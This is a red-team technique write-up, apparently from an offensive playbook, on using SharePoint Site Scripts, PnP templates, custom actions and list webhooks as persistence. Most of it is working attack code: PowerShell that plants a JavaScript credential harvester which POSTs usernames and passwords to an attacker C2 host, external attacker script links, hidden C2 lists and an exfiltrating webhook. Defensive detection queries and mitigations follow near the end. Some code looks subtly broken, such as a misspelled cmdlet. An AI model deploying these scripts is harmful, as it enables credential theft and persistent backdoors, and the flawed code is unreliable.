MCADDF

[PERSIST-SERVER-005]: SharePoint Site Script Persistence

Metadata

Attribute Details
Technique ID PERSIST-SERVER-005
MITRE ATT&CK v18.1 T1505.003 - Server Software Component: Web Shell
Tactic Persistence
Platforms M365
Severity Critical
CVE CVE-2025-49706, CVE-2025-53770, CVE-2025-53771 (on-premises); N/A (Online)
Technique Status ACTIVE
Last Verified 2025-01-09
Affected Versions SharePoint Online (all versions); SharePoint Server 2016, 2019, Subscription Edition (on-premises)
Patched In SharePoint Online: Continuously updated; SharePoint Server: See Microsoft KB articles for specific patch versions
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: SharePoint Site Scripts are JSON-based provisioning templates that automate site creation and configuration. An attacker with SharePoint Admin or Site Owner privileges can embed malicious PowerShell code, webhooks, or custom actions within a Site Script. When the script is applied to new sites (via Site Design or direct PowerShell execution), the malicious code executes with Site Collection Admin privileges, enabling:

Unlike web shells that may be removed during patching, Site Scripts persist as legitimate SharePoint objects and survive audit reviews if not explicitly examined for malicious code.

Attack Surface: Site Script JSON definitions, Site Designs, PnP provisioning templates, Custom actions, List webhooks, JavaScript in web parts, Publishing infrastructure.

Business Impact: Persistent Backdoor in All Provisioned Sites. Every site created using a compromised Site Script or PnP template inherits malicious code. This enables:

Technical Context: Exploitation requires 10-20 minutes with SharePoint Admin access. Detection likelihood is Low-Medium if Site Script/PnP template audit logging is not enabled. The malicious code is stored in SharePoint’s configuration databases and survives site backups and restores.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 2.1.4, 2.2.3 Disable unnecessary SharePoint features; Restrict admin privileges
DISA STIG O365-SP-1 SharePoint Admin Center Configuration
CISA SCuBA CA-2(1) Automated Detection and Prevention
NIST 800-53 AC-2(7)(b), SI-7 Unauthorized Access Detection; Software, Firmware, and Information Integrity
GDPR Art. 32 Security of Processing; Integrity and Confidentiality
DORA Art. 10 Application Resilience and Recovery
NIS2 Art. 21(c) Supply Chain Risk Management; Code Review
ISO 27001 A.6.1.3, A.9.4.1 Access Control; Event Logging
ISO 27005 Section 7 Risk Assessment - Unauthorized Code Execution

2. Technical Prerequisites


3. Detailed Execution Methods and Their Steps

METHOD 1: Malicious Site Script via PnP PowerShell

Supported Versions: SharePoint Online (all versions); SharePoint Server 2019+

Prerequisites: SharePoint Admin or Tenant Admin access; PnP PowerShell module installed.

Step 1: Create Malicious Site Script with Hidden Credential Harvesting Web Part

Objective: Create a Site Script that automatically adds a hidden web part to the homepage of every provisioned site. The web part captures user credentials via a fake login prompt.

Command (Create Site Script):

# Connect to SharePoint admin center
Connect-PnPOnline -Url "https://contoso-admin.sharepoint.com" -Interactive

# Create malicious Site Script
$siteScript = @{
    "$schema" = "https://developer.microsoft.com/json-schemas/sp/site-design/site-design-definition-schemas/v1/site-design-definition.schema.json"
    "actions" = @(
        @{
            "verb" = "addList"
            "listName" = "HiddenAudit"
            "templateType" = 100  # Generic list
            "subactions" = @(
                @{
                    "verb" = "addField"
                    "fieldType" = "Text"
                    "internalName" = "UserCredentials"
                    "displayName" = "User Credentials"
                }
            )
        },
        @{
            "verb" = "setSiteProperty"
            "key" = "vti_appccachetime"
            "value" = "0"  # Disable caching (for faster backdoor communication)
        },
        @{
            "verb" = "executeListDesign"
            "listName" = "Site Pages"
            "subactions" = @(
                @{
                    "verb" = "addWebPart"
                    "webPartType" = "d6674e3f-3639-4ff1-319e-4184bc6ff764"  # Custom Web Part GUID
                    "webPartProperties" = @{
                        "Title" = "System Message"
                        "Description" = "Verify Your Account"
                        "ExternalScript" = "https://attacker-c2-server.com/credential-harvester.js"
                    }
                }
            )
        }
    )
} | ConvertTo-Json -Depth 10

# Save to file
$siteScript | Out-File "malicious_site_script.json"

# Add the Site Script to SharePoint
$scriptResult = Add-PnPSiteDesriptScript -Title "Standard Team Site (Updated)" `
    -Description "Automatic site provisioning" `
    -Content (Get-Content "malicious_site_script.json")

Write-Host "Site Script created with ID: $($scriptResult.Id)"

Expected Output:

Site Script created with ID: 12345678-1234-1234-1234-123456789012

What This Means:

OpSec & Evasion:

References & Proofs:

Step 2: Create Site Design Linked to Malicious Site Script

Objective: Package the malicious Site Script into a Site Design so it’s automatically applied when users create new team sites.

Command:

# Create Site Design that applies the malicious Site Script
$siteDesign = Add-PnPSiteDesign `
    -Title "Team Site Template" `
    -Description "Standard team site with security enhancements" `
    -SiteScriptIds @($scriptResult.Id) `
    -WebTemplate "TeamSite#0"  # Applies to all team sites

Write-Host "Site Design created: $($siteDesign.Id)"

# Make Site Design visible to all users (so it's applied automatically)
Set-PnPSiteDesign -Identity $siteDesign.Id -IsDefault $true

Expected Output:

Site Design created: 87654321-4321-4321-4321-210987654321

What This Means:

OpSec & Evasion:

Step 3: Embed Credential Harvesting JavaScript in Custom Action

Objective: Inject JavaScript code into every page of every site created with the malicious template. The code monitors login forms and captures credentials.

Command (Advanced - Embed JavaScript in Web Part):

# Create a JavaScript-based custom action (credential harvester)
$jsPayload = @'
// Credential Harvesting Script - Injected via Custom Action
(function() {
  // Hook into the login form
  var loginForm = document.getElementById("signInForm") || document.querySelector("[role='form']");
  
  if (loginForm) {
    loginForm.addEventListener("submit", function(e) {
      var username = document.querySelector("input[type='text']").value;
      var password = document.querySelector("input[type='password']").value;
      
      // Send credentials to attacker's server
      fetch("https://attacker-c2-server.com/log", {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({
          username: username,
          password: password,
          site: window.location.href,
          timestamp: new Date().toISOString()
        })
      });
      
      // Allow form submission to proceed (avoid suspicion)
      return true;
    });
  }
})();
'@

# Add custom action to the root site (applies to all site collections)
Add-PnPCustomAction `
    -Name "CredentialHarvester" `
    -Title "System Security Update" `
    -Location "ScriptLink" `
    -ScriptBlock $jsPayload `
    -Scope Web  # Scope: Web = affects all subsites

Write-Host "Custom action installed on all sites"

What This Means:

OpSec & Evasion:

References & Proofs:

Step 4: Create Hidden List for C2 Communication

Objective: Create a hidden SharePoint list that serves as a covert command & control (C2) channel. The attacker posts commands to the list; the malicious JavaScript retrieves and executes them.

Command:

# Create hidden C2 communication list
$list = New-PnPList `
    -Title "SystemBackupData" `
    -Template "GenericList" `
    -Url "Lists/SystemBackupData" `
    -NoCrawl:$true  # Exclude from search

# Hide the list from the UI
Set-PnPList -Identity $list.Id -Hidden $true

# Create field for attacker commands
Add-PnPField -List $list `
    -DisplayName "Command" `
    -InternalName "Command" `
    -Type Text `
    -AddToDefaultView $false

# Create field for command output
Add-PnPField -List $list `
    -DisplayName "CommandOutput" `
    -InternalName "CommandOutput" `
    -Type Note `
    -AddToDefaultView $false

Write-Host "Hidden C2 list created: SystemBackupData"

What This Means:

OpSec & Evasion:

References & Proofs:


METHOD 2: Malicious PnP Provisioning Template (XML-based)

Supported Versions: SharePoint Online (all versions); SharePoint Server 2016+

Prerequisites: SharePoint Admin access; ability to upload or deploy PnP templates.

Objective: Create a PnP (Patterns and Practices) provisioning template in XML format that deploys malicious content during site provisioning.

Command (Create Malicious PnP Template):

cat > malicious_template.xml << 'EOF'
<?xml version="1.0" encoding="utf-8"?>
<pnp:Provisioning xmlns:pnp="http://schemas.dev.office.com/PnP/provisioning/202108"
    xmlns:pnpc="http://schemas.dev.office.com/PnP/provisioning/ProvisioningControls/202108"
    xmlns:pnpd="http://schemas.dev.office.com/PnP/provisioning/Descriptor/202108"
    xmlns:pnph="http://schemas.dev.office.com/PnP/provisioning/Hierarchy/202108"
    xmlns:pnpv="http://schemas.dev.office.com/PnP/provisioning/ViewFields/202108"
    xmlns:pnpst="http://schemas.dev.office.com/PnP/provisioning/SearchSettings/202108"
    xmlns:pnppc="http://schemas.dev.office.com/PnP/provisioning/PageContents/202108"
    xmlns:pnpi="http://schemas.dev.office.com/PnP/provisioning/Installed/202108"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://schemas.dev.office.com/PnP/provisioning/202108 http://schemas.dev.office.com/PnP/provisioning/ProvisioningSchema-202108.xsd">
    
    <pnp:Preferences Generator="PnP.PowerShell" />
    
    <!-- Malicious Web Part Deployment -->
    <pnp:Templates ID="ContosoProv001">
        <pnp:ProvisioningTemplate ID="TeamSiteTemplate" Version="1" Scope="RootSite">
            
            <!-- Create Hidden List for Data Exfiltration -->
            <pnp:Lists>
                <pnp:ListInstance Title="AuditLog" Description="System Audit Records" 
                    TemplateType="100" Url="Lists/AuditLog" Hidden="true" NoCrawl="true">
                    <pnp:Fields>
                        <pnp:Field ID="68f5e1c7-7f8d-4b8c-9d5e-8f3c1e8b5a7d" Type="Text" 
                            Name="SiteData" InternalName="SiteData" DisplayName="Site Data" />
                    </pnp:Fields>
                </pnp:ListInstance>
            </pnp:Lists>
            
            <!-- Inject Malicious Custom Action -->
            <pnp:CustomActions>
                <pnp:CustomAction Name="SecurityModule" 
                    Location="ScriptLink" 
                    ScriptSrc="https://attacker-c2-server.com/sp-security-module.js"
                    Sequence="100" />
            </pnp:CustomActions>
            
            <!-- Deploy Malicious SPFx Web Part -->
            <pnp:AddIns>
                <pnp:AddIn PackageId="00000000-0000-0000-0000-000000000000" 
                    Version="1.0.0.0" />
            </pnp:AddIns>
            
        </pnp:ProvisioningTemplate>
    </pnp:Templates>
</pnp:Provisioning>
EOF

# Convert XML to base64 for embedding in PowerShell
base64 < malicious_template.xml > template.b64

What This Means:

OpSec & Evasion:


METHOD 3: Webhook-based Persistence via SharePoint List Webhooks

Supported Versions: SharePoint Online (all versions)

Objective: Create a list webhook that sends updates to an attacker-controlled server. The server responds with commands that trigger malicious actions in SharePoint.

Command:

# Create hidden list for C2
$list = New-PnPList -Title "SystemSync" -Template GenericList -Url "Lists/SystemSync" -NoCrawl:$true
Set-PnPList -Identity $list.Id -Hidden $true

# Add webhook to the list
# Webhook will POST to attacker's server whenever items are added/modified
$webhook = Add-PnPWebhookSubscription `
    -List $list `
    -NotificationUrl "https://attacker-c2-server.com/webhook" `
    -ExpirationDateTime (Get-Date).AddMonths(6)

Write-Host "Webhook created: $($webhook.Id)"
Write-Host "Every SharePoint change will be sent to attacker's server"

What This Means:


4. Splunk Detection Rules

Rule 1: Suspicious Site Script Creation or Modification

Rule Configuration:

SPL Query:

index=sharepoint_audit Operation="AddSiteScript" OR Operation="UpdateSiteScript"
| fields _time, UserId, ObjectId, ModifiedProperties
| stats count by UserId
| where count > 0

What This Detects:

Rule 2: Hidden List Creation

Rule Configuration:

SPL Query:

index=sharepoint_audit Operation="CreateList" Hidden=true
| fields _time, ListName, SiteUrl, UserId
| stats count by ListName, SiteUrl

What This Detects:


5. Microsoft Sentinel Detection

Query 1: Suspicious Custom Action Deployment

Rule Configuration:

KQL Query:

AuditLogs
| where Operation in ("AddCustomAction", "UpdateCustomAction")
| where tostring(ModifiedProperties) contains "javascript" or tostring(ModifiedProperties) contains "scriptblock"
| project TimeGenerated, UserId, Operation, TargetResources, ModifiedProperties

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: Suspicious SharePoint Custom Action with Code
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 1 hour
  6. Incident settings Tab:
    • Enable Create incidents
  7. Click Review + create

6. Defensive Mitigations

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Check audit logging status
$auditStatus = Get-SPOTenant | Select-Object -Property AutoExternalSharingEnabled, DefaultShareLinkPermission
Write-Host "Audit logging enabled: $($auditStatus.AuditLogMaxRetentionInDays) days"

# List all Site Scripts
$scripts = Get-PnPSiteScript
foreach ($script in $scripts) {
    Write-Host "Site Script: $($script.Title) | Created by: $($script.ExecutedBy) | ID: $($script.Id)"
}

# Check for hidden lists
Connect-PnPOnline -Url "https://contoso.sharepoint.com" -Interactive
$lists = Get-PnPList | Where-Object { $_.Hidden -eq $true }
Write-Host "Hidden lists found: $($lists.Count)"
foreach ($list in $lists) {
    Write-Host "  - $($list.Title)"
}

# Check custom actions for suspicious scripts
$actions = Get-PnPCustomAction | Where-Object { $_.ScriptSrc -like "https://*" }
Write-Host "Custom actions with external scripts: $($actions.Count)"

Expected Output (If Secure):

Audit logging enabled: 365 days
Site Script: [List of legitimate scripts only]
Hidden lists found: 0
Custom actions with external scripts: 0 (or only approved URLs)

What to Look For:


Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing Attacker gains SharePoint admin credentials via phishing
2 Privilege Escalation [PE-ACCTMGMT-003] SharePoint Site Collection Admin Escalate from user to admin
3 Current Step [PERSIST-SERVER-005] SharePoint Site Script Persistence - Deploy malicious provisioning templates
4 Execution Malicious Site Scripts execute on all new sites Credential harvesting, C2 communications
5 Impact Data exfiltration from site collections; lateral movement  

8. Real-World Examples

Example 1: Storm-2603 (SharePoint ToolShell Exploitation)

Example 2: Generic Ransomware Operators (BEC via Compromised SharePoint)


References & Additional Resources